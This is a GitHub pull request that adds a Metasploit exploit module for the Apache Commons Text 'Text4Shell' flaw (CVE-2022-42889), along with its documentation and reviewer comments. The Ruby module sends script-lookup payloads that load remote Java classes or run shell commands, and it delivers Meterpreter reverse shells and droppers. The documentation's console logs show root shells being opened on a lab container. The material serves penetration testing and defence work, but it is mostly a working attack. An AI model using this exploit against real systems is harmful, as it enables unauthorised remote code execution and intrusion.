Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add exploit for CVE-2022-42889 Apache Commons Text RCE #18638

Merged
merged 3 commits into from
Jan 19, 2024
Merged
Show file tree
Hide file tree
Changes from 1 commit
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
108 changes: 108 additions & 0 deletions documentation/modules/exploit/multi/http/apache_commons_text4shell.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,108 @@
## Vulnerable Application

This exploit takes advantage of the StringSubstitutor interpolator class,
which is included in the Commons Text library. A default interpolator
allows for string lookups that can lead to Remote Code Execution. This
is due to a logic flaw that makes the “script”, “dns” and “url” lookup
keys interpolated by default, as opposed to what it should be, according
to the documentation of the StringLookupFactory class. Those keys allow
an attacker to execute arbitrary code via lookups primarily using the
"script" key.

In order to exploit the vulnerabilities, the following requirements must
be met:

Run a version of Apache Commons Text from version 1.5 to 1.9
Use the StringSubstitutor interpolator
Target should run JDK < 15

## Testing
Follow the steps in [this](https://github.com/karthikuj/cve-2022-42889-text4shell-docker?tab=readme-ov-file) PoC to setup the environment
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Could we please add the steps here in case the resource disappears, or link to the file directly:
https://github.com/karthikuj/cve-2022-42889-text4shell-docker/tree/288959eddad312218ec31c7bc06cf2622b26e91e


## Verification Steps
1. Setup the application
1. Start msfconsole
1. Do: `use apache_commons_text4shell`
1. Set the required options: `RHOST, RPORT, TARGETURI, PARAM, METHOD, TARGET, LHOST`
1. Do: `run`

## Options

### PARAM
The parameter vulnerable to the exploit.

### METHOD
The HTTP method to use. Default: `GET`

### TARGETURI
The URI to target. Default: `/`

## Scenarios

### Apache Commons Text 1.8 on Alpine Linux v3.9

Check:
```
msf6 exploit(multi/http/apache_commons_text4shell) > check

[*] Performing command injection test issuing a sleep command of 5 seconds.
[+] 172.17.0.2:8080 - The target is vulnerable. Successfully tested command injection.
```

Target: java
```
msf6 > use exploit/multi/http/apache_commons_text4shell
[*] Using configured payload java/meterpreter/reverse_tcp
msf6 exploit(multi/http/apache_commons_text4shell) > set lhost docker0
lhost => 172.17.0.1
msf6 exploit(multi/http/apache_commons_text4shell) > set rhost 172.17.0.2
rhost => 172.17.0.2
msf6 exploit(multi/http/apache_commons_text4shell) > set rport 8080
rport => 8080
msf6 exploit(multi/http/apache_commons_text4shell) > set targeturi /text4shell/attack
targeturi => /text4shell/attack
msf6 exploit(multi/http/apache_commons_text4shell) > set param search
param => search
msf6 exploit(multi/http/apache_commons_text4shell) > set target 0
target => 0
msf6 exploit(multi/http/apache_commons_text4shell) > run

[*] Started reverse TCP handler on 172.17.0.1:4444
[*] Using URL: http://172.17.0.1:8080/cuGgfHN/
[*] Sending stage (57692 bytes) to 172.17.0.2
[*] Meterpreter session 16 opened (172.17.0.1:4444 -> 172.17.0.2:39832) at 2023-12-23 23:03:31 +0530
[*] Server stopped.

meterpreter >
```

Target: Linux Command
```
msf6 exploit(multi/http/apache_commons_text4shell) > set target 3
target => 3
msf6 exploit(multi/http/apache_commons_text4shell) > run

[*] Started reverse TCP handler on 172.17.0.1:4444
[*] Command shell session 17 opened (172.17.0.1:4444 -> 172.17.0.2:36446) at 2023-12-23 23:04:10 +0530

id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
```

Target: Linux Dropper
```
msf6 exploit(multi/http/apache_commons_text4shell) > set target 4
target => 4
msf6 exploit(multi/http/apache_commons_text4shell) > run

[*] Started reverse TCP handler on 172.17.0.1:4444
[*] Using URL: http://172.17.0.1:8080/L8kRU1E8O/
[*] Client 172.17.0.2 requested /L8kRU1E8O/
[*] Sending payload to 172.17.0.2
[*] Sending stage (3045380 bytes) to 172.17.0.2
[*] Command Stager progress - 100.00% done (113/113 bytes)
[*] Meterpreter session 18 opened (172.17.0.1:4444 -> 172.17.0.2:39580) at 2023-12-23 23:04:35 +0530
[*] Server stopped.

meterpreter >
```
200 changes: 200 additions & 0 deletions modules/exploits/multi/http/apache_commons_text4shell.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,200 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
include Msf::Exploit::Remote::Java::HTTP::ClassLoader

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Apache Commons Text RCE',
'Description' => %q{
This exploit takes advantage of the StringSubstitutor interpolator class,
which is included in the Commons Text library. A default interpolator
allows for string lookups that can lead to Remote Code Execution. This
is due to a logic flaw that makes the “script”, “dns” and “url” lookup
keys interpolated by default, as opposed to what it should be, according
to the documentation of the StringLookupFactory class. Those keys allow
an attacker to execute arbitrary code via lookups primarily using the
"script" key.

In order to exploit the vulnerabilities, the following requirements must
be met:

Run a version of Apache Commons Text from version 1.5 to 1.9
Use the StringSubstitutor interpolator
Target should run JDK < 15
},
'License' => MSF_LICENSE,
'Author' => [
'Alvaro Muñoz', # Original research
'Karthik UJ', # PoC
'Gaurav Jain', # Metasploit module
],
'References' => [
['CVE', '2022-42889'],
['URL', 'https://sysdig.com/blog/cve-2022-42889-text4shell/'],
['URL', 'https://github.com/karthikuj/cve-2022-42889-text4shell-docker']
],
'Platform' => ['win', 'linux', 'unix', 'java'],
'Targets' => [
[
'Java (in-memory)',
{
'Type' => :java,
'Platform' => 'java',
'Arch' => ARCH_JAVA,
'DefaultOptions' => { 'Payload' => 'java/meterpreter/reverse_tcp' }
},
],
[
'Windows EXE Dropper',
{
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :windows_dropper,
'DefaultOptions' => { 'Payload' => 'windows/x64/meterpreter/reverse_tcp' }
}
],
[
'Windows Command',
{
'Platform' => 'win',
'Arch' => ARCH_CMD,
'Type' => :windows_command,
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
'Type' => :windows_command,
'Type' => :windows_cmd,

For consistency

'DefaultOptions' => { 'Payload' => 'cmd/windows/powershell/meterpreter/reverse_tcp' }
}
],
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => { 'Payload' => 'cmd/unix/reverse_jjs' }
ekalinichev-r7 marked this conversation as resolved.
Show resolved Hide resolved
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper,
'DefaultOptions' => { 'Payload' => 'linux/x64/meterpreter/reverse_tcp' }
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Is there a reason you selected this payload? It will fail on 32-bit hosts that are supported by this target entry.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Yes you're right, payload should've been x86

}
]
],
'Privileged' => false,
'DisclosureDate' => '2022-10-13',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
}
)
)
register_options([
OptString.new('TARGETURI', [ true, 'The target URI']),
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Documents say the default value is /, but there is none here?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Must've missed it, thanks for pointing it out.

OptString.new('PARAM', [ true, 'The vulnerable parameter']),
OptString.new('METHOD', [ true, 'The HTTP method to use', 'GET' ])
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This should likely be an ENUM?

])
end

def check
vprint_status("Checking if #{peer} can be exploited.")
res = send_exp
return CheckCode::Unknown('No response received from target.') unless res

# blind command injection using sleep command
sleep_time = rand(4..8)
print_status("Performing command injection test issuing a sleep command of #{sleep_time} seconds.")
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
print_status("Performing command injection test issuing a sleep command of #{sleep_time} seconds.")
vprint_status("Performing command injection test issuing a sleep command of #{sleep_time} seconds.")

_res, elapsed_time = Rex::Stopwatch.elapsed_time do
send_exp("java.lang.Thread.sleep(#{sleep_time * 1000})")
end
vprint_status("Elapsed time: #{elapsed_time.round(2)} seconds.")
return CheckCode::Safe('Command injection test failed.') unless elapsed_time >= sleep_time

CheckCode::Vulnerable('Successfully tested command injection.')
end

def exploit
case target['Type']
when :java
# Start the HTTP server to serve the payload
start_service
# Trigger a loadClass request via java.net.URLClassLoader
trigger_urlclassloader
# Handle the payload
handler
when :windows_command, :unix_cmd
execute_command(payload.encoded)
when :windows_dropper, :linux_dropper
execute_cmdstager
end
end

def trigger_urlclassloader
url = get_uri

vars = Rex::RandomIdentifier::Generator.new

exp = "var #{vars[:str_arr]} = Java.type('java.lang.String[]');"
exp << "var #{vars[:obj]} = new java.net.URLClassLoader([new java.net.URL(new java.lang.String(java.util.Base64.getDecoder().decode('#{Rex::Text.encode_base64(url)}')))]).loadClass('metasploit.Payload');"
exp << "#{vars[:obj]}.getMethod('main', java.lang.Class.forName('[Ljava.lang.String;')).invoke(null, [new #{vars[:str_arr]}(1)]);"

res = send_exp(exp)

fail_with(Failure::Unreachable, 'No response received from the target') unless res
fail_with(Failure::Unknown, 'An unknown error occurred') unless res.code == 200
end

def execute_command(cmd, _opts = {})
vars = Rex::RandomIdentifier::Generator.new

exp = "var #{vars[:arr]} = [#{win_target? ? '"cmd.exe", "/c"' : '"/bin/sh", "-c"'}, new java.lang.String(java.util.Base64.getDecoder().decode(\"#{Rex::Text.encode_base64(cmd)}\"))];"
exp << "java.lang.Runtime.getRuntime().exec(#{vars[:arr]});"

res = send_exp(exp)

fail_with(Failure::Unreachable, 'No response received from the target') unless res
fail_with(Failure::Unknown, 'An unknown error occurred') unless res.code == 200
end

def send_exp(exp = '')
vars = datastore['METHOD'] == 'GET' ? 'vars_get' : 'vars_post'
send_request_cgi(
'method' => datastore['METHOD'],
'uri' => normalize_uri(target_uri.path),

vars => {
datastore['PARAM'] => "${script:javascript:#{exp}}"
}
)
end

def win_target?
target['Platform'] == 'win'
end

def on_request_uri(cli, request)
case target['Type']
when :java
# Call method to handle java payload staging
super(cli, request)
else
# Handle win/unix cmd staging
client = cli.peerhost
print_status("Client #{client} requested #{request.uri}")
print_status("Sending payload to #{client}")
send_response(cli, exe)
end
end
end